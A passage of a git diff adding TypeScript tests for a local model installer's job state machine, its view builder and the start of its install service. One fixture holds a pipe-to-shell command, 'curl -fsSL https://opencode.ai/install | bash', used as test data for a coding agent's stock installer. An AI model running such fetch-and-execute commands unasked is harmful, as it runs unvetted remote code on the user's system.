...entry, stock: false } : entry; + }; + const [fact] = await buildHarnessFacts(catalogWith(['opencode']), { + getCli: custom, + probeInstalled: installedOnly(), + installCommandFor: darwinCommand, + }); + expect(fact.installable).toBe(false); + expect(fact).not.toHaveProperty('installCommand'); + }); + }); }); diff --git a/test/local-model-install-job.test.ts b/test/local-model-install-job.test.ts new file mode 100644 index 00000000..740c4a81 --- /dev/null +++ b/test/local-model-install-job.test.ts @@ -0,0 +1,700 @@ +/** + * @fileoverview The pure half of the local model install job (src/local-model/install-job.ts): + * the three tables, the reducer over them, and the view. + * + * The reducer is tested from the tables it is written against: every state is paired with + * every event, and what `INSTALL_TRANSITIONS` says must happen is what happens (a pair the + * table does not list hands back the very object it was given). The state table's own + * columns (what a restart and Cancel do, which actions are allowed) are checked against the + * reducer and the view, so the table in the file header cannot drift from the code. + * + * The service that drives the job is in test/local-model-install-service.test.ts. + * + * Port: N/A (pure functions). + */ +import { describe, expect, it } from 'vitest'; +import { + allowedActions, + buildInstallError, + buildInstallView, + formatInstallMessage, + INSTALL_STATE_TABLE, + INSTALL_STEP_TABLE, + INSTALL_TRANSITIONS, + installedBlocker, + jobSteps, + reduceInstallJob, + type InstallJobEvent, + type InstallJobEventType, + type InstallLiveFacts, +} from '../src/local-model/install-job.js'; +import { OLLAMA_RUNTIME_PIN } from '../src/local-model/runtime.js'; +import { + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_ERROR_NEXT, + LOCAL_MODEL_INSTALL_LABELS, + LOCAL_MODEL_INSTALL_STEPS, + type LocalModelAction, + type LocalModelErrorCode, + type LocalModelInstallState, + type LocalModelInstallStep, + type LocalModelStateFile, +} from '../src/types.js'; + +const STATES: LocalModelInstallState[] = ['idle', 'installing', 'paused', 'failed', 'installed']; +const EVENT_TYPES: InstallJobEventType[] = [ + 'install', + 'progress', + 'step-done', + 'fail', + 'cancel', + 'restart', + 'resume', + 'remove', +]; +const ALL_STEPS: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'agent', 'connect']; + +const MODEL = { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }; +const CLI = { id: 'opencode', label: 'OpenCode' }; +const RUNTIME = { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 }; +const CONNECTION = { endpointId: 'local-ollama', flagWasEnabled: false }; +const LOADED = { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }; + +const JOB: LocalModelStateFile = { + schema: 1, + state: 'installing', + step: 'model', + steps: ALL_STEPS, + model: MODEL, + cli: CLI, + runtime: RUNTIME, + progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 }, +}; + +/** One state file of each state, as the job leaves it. */ +const SAMPLE: Record<LocalModelInstallState, LocalModelStateFile> = { + idle: { schema: 1, state: 'idle' }, + installing: JOB, + paused: { ...JOB, state: 'paused' }, + failed: { ...JOB, state: 'failed', error: { code: 'pull-failed', detail: 'tls: bad record MAC' } }, + installed: { + schema: 1, + state: 'installed', + model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' }, + cli: CLI, + runtime: RUNTIME, + loaded: LOADED, + connection: CONNECTION, + }, +}; + +/** One event of each type. */ +const EVENT: Record<InstallJobEventType, InstallJobEvent> = { + install: { + type: 'install', + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + cli: { id: 'claude', label: 'Claude Code' }, + steps: ['runtime', 'model', 'verify', 'connect'], + }, + progress: { type: 'progress', completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 }, + 'step-done': { type: 'step-done' }, + fail: { type: 'fail', code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' }, + cancel: { type: 'cancel' }, + restart: { type: 'restart' }, + resume: { type: 'resume' }, + remove: { type: 'remove' }, +}; + +/** Freezes an object and everything in it, so a reducer that mutates its input throws. */ +function deepFreeze<T>(value: T): T { + if (typeof value === 'object' && value !== null && !Object.isFrozen(value)) { + Object.freeze(value); + for (const member of Object.values(value)) deepFreeze(member); + } + return value; +} + +const LIVE: InstallLiveFacts = { + running: false, + gaveUp: false, + portInUse: false, + developerTools: 'present', + runtimeInstalled: false, + pin: OLLAMA_RUNTIME_PIN, + folder: '/Users/me/.codeman/local-model', +}; + +describe('the tables', () => { + it('have a row for every state and every step, and only for those', () => { + expect(Object.keys(INSTALL_STATE_TABLE).sort()).toEqual([...STATES].sort()); + expect(Object.keys(INSTALL_TRANSITIONS).sort()).toEqual([...STATES].sort()); + expect(Object.keys(INSTALL_STEP_TABLE).sort()).toEqual([...LOCAL_MODEL_INSTALL_STEPS].sort()); + expect(LOCAL_MODEL_INSTALL_STEPS).toEqual(ALL_STEPS); + }); + + it('the transition table names only real events and real states', () => { + for (const state of STATES) { + for (const [type, target] of Object.entries(INSTALL_TRANSITIONS[state])) { + expect(EVENT_TYPES).toContain(type); + expect(STATES).toContain(target); + } + } + }); + + it('is the table of the design: these pairs and no others', () => { + expect(INSTALL_TRANSITIONS).toEqual({ + idle: { install: 'installing', restart: 'idle', remove: 'idle' }, + installing: { + progress: 'installing', + 'step-done': 'installing', + fail: 'failed', + cancel: 'paused', + restart: 'paused', + }, + paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' }, + failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' }, + installed: { remove: 'idle', restart: 'installed' }, + }); + }); + + it('every step row names error codes that exist, each with a sentence and a next step', () => { + for (const step of LOCAL_MODEL_INSTALL_STEPS) { + const row = INSTALL_STEP_TABLE[step]; + expect(row.errors.length).toBeGreaterThan(0); + expect(row.errors).toContain('internal'); + for (const code of row.errors) { + expect(LOCAL_MODEL_ERROR_LABELS[code]).toBeTypeOf('string'); + expect(LOCAL_MODEL_ERROR_NEXT[code]).toBeTypeOf('string'); + } + } + // The two steps that download report byte progress; the others do not. + expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].progress)).toEqual(['runtime', 'model']); + // The runtime must run for every step that talks to it. + expect(LOCAL_MODEL_INSTALL_STEPS.filter((step) => INSTALL_STEP_TABLE[step].needsRuntime)).toEqual([ + 'model', + 'verify', + 'connect', + ]); + }); + + it('every error code has exactly one sentence and one next step', () => { + const codes = Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]; + expect(Object.keys(LOCAL_MODEL_ERROR_NEXT).sort()).toEqual([...codes].sort()); + const sentences = new Set(Object.values(LOCAL_MODEL_INSTALL_LABELS)); + for (const code of codes) expect(sentences.has(LOCAL_MODEL_ERROR_LABELS[code])).toBe(true); + }); +}); + +describe('jobSteps', () => { + it('is every step in order, without the agent step when the coding agent is installed', () => { + expect(jobSteps({ agentInstalled: false })).toEqual(['runtime', 'model', 'verify', 'agent', 'connect']); + expect(jobSteps({ agentInstalled: true })).toEqual(['runtime', 'model', 'verify', 'connect']); + }); + + it('hands out a list of its own each time', () => { + const steps = jobSteps({ agentInstalled: false }); + steps.pop(); + expect(jobSteps({ agentInstalled: false })).toHaveLength(5); + expect(LOCAL_MODEL_INSTALL_STEPS).toHaveLength(5); + }); +}); + +describe('reduceInstallJob: every state with every event, from the transition table', () => { + for (const state of STATES) { + for (const type of EVENT_TYPES) { + const target = INSTALL_TRANSITIONS[state][type]; + const current = deepFreeze(structuredClone(SAMPLE[state])); + const event = deepFreeze(structuredClone(EVENT[type])); + if (target === undefined) { + it(`${state} + ${type}: refused, the same object comes back`, () => { + expect(reduceInstallJob(current, event)).toBe(current); + }); + } else { + it(`${state} + ${type}: ${target}`, () => { + const next = reduceInstallJob(current, event); + expect(next.state).toBe(target); + expect(next.schema).toBe(1); + // Pure: the frozen input was not changed (a write to it would have thrown). + expect(current).toEqual(SAMPLE[state]); + }); + } + } + } + + it('covers all 40 pairs, 18 of them listed', () => { + const listed = STATES.flatMap((state) => Object.keys(INSTALL_TRANSITIONS[state])); + expect(STATES.length * EVENT_TYPES.length).toBe(40); + expect(listed).toHaveLength(18); + }); +}); + +describe('the state table agrees with the reducer and the view', () => { + it.each(STATES)('%s: what a server restart does', (state) => { + const row = INSTALL_STATE_TABLE[state]; + const after = reduceInstallJob(SAMPLE[state], { type: 'restart' }); + expect(after.state).toBe(row.afterRestart); + }); + + it.each(STATES)('%s: what Cancel does', (state) => { + const row = INSTALL_STATE_TABLE[state]; + const after = reduceInstallJob(SAMPLE[state], { type: 'cancel' }); + if (row.afterCancel === null) expect(after).toBe(SAMPLE[state]); + else expect(after.state).toBe(row.afterCancel); + }); + + it.each(STATES)('%s: the allowed actions are the ones whose verb the reducer or the service accepts', (state) => { + const row = INSTALL_STATE_TABLE[state]; + const accepts = (type: InstallJobEventType) => INSTALL_TRANSITIONS[state][type] !== undefined; + expect(row.actions.includes('install')).toBe(accepts('install')); + expect(row.actions.includes('cancel')).toBe(accepts('cancel')); + expect(row.actions.includes('resume')).toBe(accepts('resume')); + // Remove is refused only while a job runs. From idle it only clears leftovers, so the + // window offers no button for it there. + if (state !== 'idle') expect(row.actions.includes('remove')).toBe(accepts('remove')); + // The runtime and a session are things of an installed model only. + for (const action of ['start', 'stop', 'start-session'] as LocalModelAction[]) { + expect(row.actions.includes(action)).toBe(state === 'installed'); + } + }); + + it('a restart never leaves a job running, and never changes anything else', () => { + for (const state of STATES) { + const after = reduceInstallJob(SAMPLE[state], { type: 'restart' }); + expect(after.state).not.toBe('installing'); + if (state === 'installing') expect(after).toEqual({ ...SAMPLE.installing, state: 'paused' }); + else expect(after).toBe(SAMPLE[state]); + } + }); +}); + +describe('reduceInstallJob: what each event writes', () => { + it('install from idle starts at the first step with the model, the coding agent and the steps', () => { + expect(reduceInstallJob(SAMPLE.idle, EVENT.install)).toEqual({ + schema: 1, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + cli: { id: 'claude', label: 'Claude Code' }, + }); + }); + + it('a new install replaces a failed job but keeps what is still on disk: the runtime and the connection', () => { + const failed: LocalModelStateFile = { ...SAMPLE.failed, connection: CONNECTION, loaded: LOADED }; + const next = reduceInstallJob(failed, EVENT.install); + expect(next).toEqual({ + schema: 1, + state: 'installing', + step: 'runtime', + steps: ['runtime', 'model', 'verify', 'connect'], + model: { id: 'gpt-oss:20b', label: 'GPT-OSS 20B', context: 65536 }, + // The old job's model is another one: what it left in the store is deleted first. + replacedModelId: 'qwen3.6:35b-a3b', + cli: { id: 'claude', label: 'Claude Code' }, + runtime: RUNTIME, + connection: CONNECTION, + }); + // Gone: the error, the progress, what the runtime had loaded. + expect(next).not.toHaveProperty('error'); + expect(next).not.toHaveProperty('progress'); + expect(next).not.toHaveProperty('loaded'); + }); + + it('a new install of the SAME model replaces nothing in the store, and forgets its pull total and digest', () => { + const paused: LocalModelStateFile = { + ...SAMPLE.paused, + model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc' }, + }; + const next = reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent); + expect(next).not.toHaveProperty('replacedModelId'); + expect(next.model).toEqual(MODEL); + }); + + it('a model still waiting to be deleted is carried over a second replacement, unless it is the new choice', () => { + const paused: LocalModelStateFile = { ...SAMPLE.paused, replacedModelId: 'qwen3.8:27b' }; + // Same model again: the older leftover is still to be deleted. + expect(reduceInstallJob(paused, { ...EVENT.install, model: MODEL } as InstallJobEvent).replacedModelId).toBe( + 'qwen3.8:27b' + ); + // Going back to the leftover itself: it is the model that is wanted now. + const back = { ...EVENT.install, model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B', context: 131072 } }; + expect( + reduceInstallJob({ ...paused, model: { ...MODEL, id: 'qwen3.8:27b' } }, back as InstallJobEvent) + ).not.toHaveProperty('replacedModelId'); + }); + + it('refuses an install whose steps are not a job', () => { + const idle = SAMPLE.idle; + expect(reduceInstallJob(idle, { ...EVENT.install, steps: [] } as InstallJobEvent)).toBe(idle); + expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['model', 'model'] } as InstallJobEvent)).toBe(idle); + expect(reduceInstallJob(idle, { ...EVENT.install, steps: ['reboot'] } as unknown as InstallJobEvent)).toBe(idle); + }); + + it('progress changes the progress and nothing else', () => { + const next = reduceInstallJob(SAMPLE.installing, EVENT.progress); + expect(next).toEqual({ + ...SAMPLE.installing, + progress: { completedBytes: 7_000_000_000, totalBytes: 23_105_798_956 }, + }); + }); + + it('refuses progress that is not two byte counts', () => { + for (const bad of [ + { completedBytes: -1, totalBytes: 10 }, + { completedBytes: 1.5, totalBytes: 10 }, + { completedBytes: Number.NaN, totalBytes: 10 }, + { completedBytes: 1, totalBytes: Number.POSITIVE_INFINITY }, + ]) { + expect(reduceInstallJob(SAMPLE.installing, { type: 'progress', ...bad })).toBe(SAMPLE.installing); + } + }); + + it('step-done moves to the next step of THIS job and clears the progress', () => { + const steps: LocalModelInstallStep[] = ['runtime', 'model', 'verify', 'connect']; + let state: LocalModelStateFile = { ...SAMPLE.installing, step: 'runtime', steps }; + const visited: (LocalModelInstallStep | undefined)[] = [state.step]; + for (let i = 0; i < 3; i++) { + state = reduceInstallJob(state, { type: 'step-done' }); + expect(state.state).toBe('installing'); + expect(state).not.toHaveProperty('progress'); + visited.push(state.step); + } + // The agent step is not part of this job, so it is never entered. + expect(visited).toEqual(steps); + }); + + it('the last step-done makes the job installed and keeps only what an installation has', () => { + const last: LocalModelStateFile = { + ...SAMPLE.installing, + step: 'connect', + model: { ...MODEL, pullBytes: 23_105_798_956, digest: 'abc123' }, + loaded: LOADED, + connection: CONNECTION, + }; + expect(reduceInstallJob(last, { type: 'step-done' })).toEqual(SAMPLE.installed); + }); + + it('refuses a step-done it cannot apply: a state without its step, a last step without a runtime', () => { + const noStep: LocalModelStateFile = { schema: 1, state: 'installing', steps: ALL_STEPS, model: MODEL, cli: CLI }; + expect(reduceInstallJob(noStep, { type: 'step-done' })).toBe(noStep); + const foreign: LocalModelStateFile = { ...SAMPLE.installing, step: 'agent', steps: ['runtime', 'model'] }; + expect(reduceInstallJob(foreign, { type: 'step-done' })).toBe(foreign); + const noRuntime: LocalModelStateFile = { + schema: 1, + state: 'installing', + step: 'connect', + steps: ALL_STEPS, + model: MODEL, + cli: CLI, + }; + expect(reduceInstallJob(noRuntime, { type: 'step-done' })).toBe(noRuntime); + }); + + it('fail keeps the step and the progress as they stood and stores the error', () => { + expect(reduceInstallJob(SAMPLE.installing, EVENT.fail)).toEqual({ + ...SAMPLE.installing, + state: 'failed', + error: { code: 'no-tool-call', vars: { model: 'Qwen3.6 35B-A3B' }, nextModelId: 'gpt-oss:20b' }, + }); + // An error without extras is just its code. + expect(reduceInstallJob(SAMPLE.installing, { type: 'fail', code: 'internal', vars: {} }).error).toEqual({ + code: 'internal', + }); + }); + + it('cancel pauses at the same step, with the progress as it stood', () => { + expect(reduceInstallJob(SAMPLE.installing, { type: 'cancel' })).toEqual(SAMPLE.paused); + }); + + it('resume re-enters the same step and clears the error', () => { + const next = reduceInstallJob(SAMPLE.failed, { type: 'resume' }); + expect(next).toEqual({ ...SAMPLE.installing }); + expect(next).not.toHaveProperty('error'); + expect(reduceInstallJob(SAMPLE.paused, { type: 'resume' }).step).toBe('model'); + }); + + it('remove drops everything, from every state that allows it', () => { + for (const state of ['idle', 'paused', 'failed', 'installed'] as const) { + expect(reduceInstallJob(SAMPLE[state], { type: 'remove' })).toEqual({ schema: 1, state: 'idle' }); + } + }); +}); + +describe('allowedActions', () => { + it('outside installed it is the state row, whatever is live', () => { + for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { + expect(allowedActions(SAMPLE[state], { ...LIVE, running: true, gaveUp: true, portInUse: true })).toEqual([ + ...INSTALL_STATE_TABLE[state].actions, + ]); + } + expect(allowedActions(SAMPLE.idle, LIVE)).toEqual(['install']); + expect(allowedActions(SAMPLE.installing, LIVE)).toEqual(['cancel']); + expect(allowedActions(SAMPLE.paused, LIVE)).toEqual(['resume', 'install', 'remove']); + expect(allowedActions(SAMPLE.failed, LIVE)).toEqual(['resume', 'install', 'remove']); + }); + + it('installed and running: a session can be started and the runtime stopped', () => { + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toEqual([ + 'start-session', + 'stop', + 'remove', + ]); + }); + + it('installed and stopped: it can be started, and no session is offered', () => { + expect(allowedActions(SAMPLE.installed, LIVE)).toEqual(['start', 'remove']); + }); + + it('installed and running a model that changed: no session', () => { + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual(['stop', 'remove']); + }); + + it('a digest that could not be read does not hide the session button: the launch itself reads it again', () => { + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true, digest: 'unknown' })).toContain('start-session'); + expect(allowedActions(SAMPLE.installed, { ...LIVE, running: true })).toContain('start-session'); + }); + + it('never returns the table row itself', () => { + const actions = allowedActions(SAMPLE.idle, LIVE); + actions.push('remove'); + expect(INSTALL_STATE_TABLE.idle.actions).toEqual(['install']); + }); +}); + +describe('installedBlocker', () => { + it('is nothing outside installed, and nothing for a runtime the person stopped', () => { + for (const state of ['idle', 'installing', 'paused', 'failed'] as const) { + expect( + installedBlocker(SAMPLE[state], { ...LIVE, portInUse: true, gaveUp: true, digest: 'changed' }) + ).toBeUndefined(); + } + expect(installedBlocker(SAMPLE.installed, LIVE)).toBeUndefined(); + expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'same' })).toBeUndefined(); + }); + + it('another program on the port: the port, and "Use another port"', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, portInUse: true })).toEqual({ + code: 'port-in-use', + message: { text: 'Port {port} is in use by another program.', vars: { port: '11435' } }, + next: 'other-port', + }); + }); + + it('a runtime that keeps stopping: "Start"', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, gaveUp: true })).toEqual({ + code: 'runtime-stopped', + message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' }, + next: 'start', + }); + }); + + it('a model that changed: "Remove"', () => { + expect(installedBlocker(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' })).toEqual({ + code: 'model-changed', + message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, + next: 'remove', + }); + }); +}); + +describe('buildInstallView', () => { + it('idle: only what is always there, with the runtime download an install would add', () => { + expect(buildInstallView(SAMPLE.idle, { ...LIVE, developerTools: 'missing' })).toEqual({ + state: 'idle', + running: false, + developerTools: 'missing', + runtime: { + version: '0.40.15', + installed: false, + downloadBytes: 185_971_671, + downloadGb: '0.2', + unpackedGb: '0.6', + }, + folder: '/Users/me/.codeman/local-model', + actions: ['install'], + }); + }); + + it('once the runtime is unpacked an install downloads nothing for it', () => { + const view = buildInstallView(SAMPLE.idle, { ...LIVE, runtimeInstalled: true }); + expect(view.runtime).toEqual({ + version: '0.40.15', + installed: true, + downloadBytes: 0, + downloadGb: '0.0', + unpackedGb: '0.6', + }); + }); + + it('installing: the step, the steps, the choice, the port, and the download as the window prints it', () => { + const view = buildInstallView(SAMPLE.installing, { ...LIVE, running: true, bytesPerSecond: 58_000_000 }); + expect(view).toEqual({ + state: 'installing', + running: true, + developerTools: 'present', + runtime: { + version: '0.40.15', + installed: false, + downloadBytes: 185_971_671, + downloadGb: '0.2', + unpackedGb: '0.6', + }, + folder: '/Users/me/.codeman/local-model', + actions: ['cancel'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + port: 11435, + step: 'model', + steps: ALL_STEPS, + progress: { + completedBytes: 6_200_000_000, + totalBytes: 23_105_798_956, + completedGb: '6.2', + totalGb: '23.1', + bytesPerSecond: 58_000_000, + mbPerSecond: '58', + // (23,105,798,956 - 6,200,000,000) / 58,000,000 = 291.5, rounded up. + secondsLeft: 292, + }, + }); + }); + + it('a speed is shown only while the job runs: a paused job has its bytes and no speed', () => { + const view = buildInstallView(SAMPLE.paused, { ...LIVE, bytesPerSecond: 58_000_000 }); + expect(view.progress).toEqual({ + completedBytes: 6_200_000_000, + totalBytes: 23_105_798_956, + completedGb: '6.2', + totalGb: '23.1', + }); + expect(view.actions).toEqual(['resume', 'install', 'remove']); + }); + + it('a speed of zero has no time left, and a download without a total has no progress at all', () => { + const stalled = buildInstallView(SAMPLE.installing, { ...LIVE, bytesPerSecond: 0 }); + expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' }); + expect(stalled.progress).not.toHaveProperty('secondsLeft'); + const noTotal = buildInstallView( + { ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } }, + { ...LIVE, bytesPerSecond: 5 } + ); + expect(noTotal).not.toHaveProperty('progress'); + }); + + it('a job before its port was chosen has no port', () => { + const { runtime: _runtime, ...early } = SAMPLE.installing; + expect(buildInstallView(early, LIVE)).not.toHaveProperty('port'); + }); + + it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => { + const failed: LocalModelStateFile = { + ...SAMPLE.failed, + step: 'verify', + error: { + code: 'no-tool-call', + vars: { model: 'Qwen3.6 35B-A3B' }, + detail: 'finish_reason stop', + nextModelId: 'gpt-oss:20b', + }, + }; + const view = buildInstallView(failed, { + ...LIVE, + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + expect(view.state).toBe('failed'); + expect(view.step).toBe('verify'); + expect(view.error).toEqual({ + code: 'no-tool-call', + message: { + text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.', + vars: { model: 'Qwen3.6 35B-A3B' }, + }, + next: 'next-model', + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + detail: 'finish_reason stop', + }); + }); + + it('a next model is named only for an error whose next step is another model', () => { + const view = buildInstallView(SAMPLE.failed, { + ...LIVE, + nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }, + }); + expect(view.error).toEqual({ + code: 'pull-failed', + message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed }, + next: 'retry', + detail: 'tls: bad record MAC', + }); + }); + + it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => { + const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' }); + expect(view).toEqual({ + state: 'installed', + running: true, + developerTools: 'present', + runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' }, + folder: '/Users/me/.codeman/local-model', + actions: ['start-session', 'stop', 'remove'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + context: 131072, + cli: 'opencode', + cliLabel: 'OpenCode', + port: 11435, + loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true }, + endpointId: 'local-ollama', + }); + }); + + it('installed: what blocks a session is on the view and the state stays installed', () => { + const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' }); + expect(view.state).toBe('installed'); + expect(view.error?.code).toBe('model-changed'); + expect(view.actions).toEqual(['stop', 'remove']); + }); + + it('a model that was not all on the GPU says so', () => { + const view = buildInstallView( + { ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } }, + { ...LIVE, running: true } + ); + expect(view.loaded?.onGpu).toBe(false); + }); + + it('every sentence it sends is one of the install labels', () => { + const sentences = new Set<string>(Object.values(LOCAL_MODEL_INSTALL_LABELS)); + for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) { + const error = buildInstallError(code, { vars: { model: 'M' } }); + expect(sentences.has(error.message.text)).toBe(true); + expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]); + } + }); +}); + +describe('formatInstallMessage', () => { + it('fills the slots of a sentence', () => { + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe( + 'Port 11435 is in use by another program.' + ); + expect( + formatInstallMessage({ + text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied, + vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' }, + }) + ).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.'); + }); + + it('leaves a sentence without slots, and a slot without a value, as they are', () => { + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe( + 'An install is already running.' + ); + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe( + 'Port {port} is in use by another program.' + ); + // A slot name that is a member of every object is not a value. + expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}'); + }); +}); diff --git a/test/local-model-install-service.test.ts b/test/local-model-install-service.test.ts new file mode 100644 index 00000000..67da16a7 --- /dev/null +++ b/test/local-model-install-service.test.ts @@ -0,0 +1,1899 @@ +/** + * @fileoverview The service that drives the local model install job + * (`createLocalModelService()` in src/local-model/install-job.ts). + * + * Every dependency is a fake: no runtime is downloaded or started, no model is pulled, no + * installer is run and no port is bound. The runtime modules are replaced through the + * service's own dependency object, so these tests pin what the JOB does with their answers, + * not what they answer. The state lives in memory and is passed through the real parser on + * every write, so a state the state file would not read back fails here. + * + * What is pinned: the whole job from the click to "installed"; one job at a time (409); the + * consent bound to the size shown (409); what is checked before anything is downloaded; + * Cancel in every step; Resume; a job a server restart interrupted comes back paused and + * waits for a click; every failure is a state with a code and a next step; the coding agent + * install (the stock command, the audit line, the resolver caches forgotten, still missing is + * a failure); the digest that refuses a changed model; the runtime verbs; Remove. + * + * Port: N/A (nothing listens). + */ +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { getDataDir } from '../src/config/instance.js'; +import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js'; +import { connectLocalModel, disconnectLocalModel } from '../src/local-model/connect.js'; +import { + createLocalModelService, + type LocalModelActor, + type LocalModelService, + type LocalModelServiceDeps, +} from '../src/local-model/install-job.js'; +import type { PullOptions } from '../src/local-model/ollama-client.js'; +import type { LocalModelPaths } from '../src/local-model/paths.js'; +import { + OLLAMA_RUNTIME_PIN, + type RuntimeStartOptions, + type RuntimeStartResult, + type RuntimeStatus, +} from '../src/local-model/runtime.js'; +import { IDLE_LOCAL_MODEL_STATE, parseLocalModelState } from '../src/local-model/state-store.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import { + LOCAL_MODEL_INSTALL_LABELS, + type Candidate, + type HardwareFacts, + type HarnessFact, + type LocalModelCatalog, + type LocalModelInstallRequest, + type LocalModelInstallStep, + type LocalModelStateFile, + type Recommendation, +} from '../src/types.js'; + +// ---------- Fixtures ---------- + +const DIGEST = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba'; +const PULL_BYTES = 23_105_798_956; +const RUNTIME_BYTES = OLLAMA_RUNTIME_PIN.bytes; +const MEASURED = 40_157_944_217; +const INSTALL_COMMAND = 'curl -fsSL https://opencode.ai/install | bash'; +const ADMIN: LocalModelActor = { username: 'root', ip: '127.0.0.1' }; + +const MAC: HardwareFacts = { + platform: 'darwin', + arch: 'arm64', + arm64: true, + memBytes: 51539607552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + source: 'sysctl', +}; + +/** Only what the service reads of a catalogue: the harness rows and the models' ids and labels. */ +const CATALOG = { + schema: 1, + updated: '2026-11-06', + minMacosMajor: 14, + models: [ + { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' }, + { id: 'gpt-oss:20b', label: 'GPT-OSS 20B' }, + { id: 'qwen3.5:9b', label: 'Qwen3.5 9B' }, + ], + harnesses: [ + { cli: 'opencode', minContext: 65536, rank: 3 }, + { cli: 'claude', minContext: 65536, rank: 2 }, + ], + chips: [], +} as unknown as LocalModelCatalog; + +const FACTS: HarnessFact[] = [ + { + cli: 'opencode', + label: 'OpenCode', + installed: false, + installable: true, + installCommand: INSTALL_COMMAND, + acceptsModelId: () => true, + }, +]; + +function candidate(modelId: string, modelLabel: string, context: number, bytes: number, installed: boolean): Candidate { + return { + modelId, + modelLabel, + license: 'Apache-2.0', + paramsB: 20, + context, + cli: 'opencode', + cliLabel: 'OpenCode', + cliInstalled: installed, + needBytes: 30_000_000_000, + needGb: '30.0', + downloadBytes: bytes, + downloadGb: '0.0', + budgetShare: 0.8, + fit: 'good', + fitLabel: 'Good', + speed: 'unknown', + tested: false, + harnesses: [ + { + cli: 'opencode', + cliLabel: 'OpenCode', + installed, + ...(installed ? {} : { installCommand: INSTALL_COMMAND }), + }, + ], + installBytes: bytes + RUNTIME_BYTES, + installGb: '0.0', + } as unknown as Candidate; +} + +function recommendation(agentInstalled = false): Recommendation { + return { + verdict: 'ok', + headline: { text: 'Best fit for this Mac' }, + notes: [], + pick: candidate('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 131072, PULL_BYTES, agentInstalled), + alternatives: [candidate('gpt-oss:20b', 'GPT-OSS 20B', 131072, 13_793_441_427, agentInstalled)], + budgetBytes: 37_580_963_840, + budgetGb: '37.6', + budgetSource: 'estimated', + } as unknown as Recommendation; +} + +const REQUEST: LocalModelInstallRequest = { + modelId: 'qwen3.6:35b-a3b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: PULL_BYTES + RUNTIME_BYTES, +}; + +const PATHS: LocalModelPaths = { + root: '/data/local-model', + runtimeRoot: '/data/local-model/runtime', 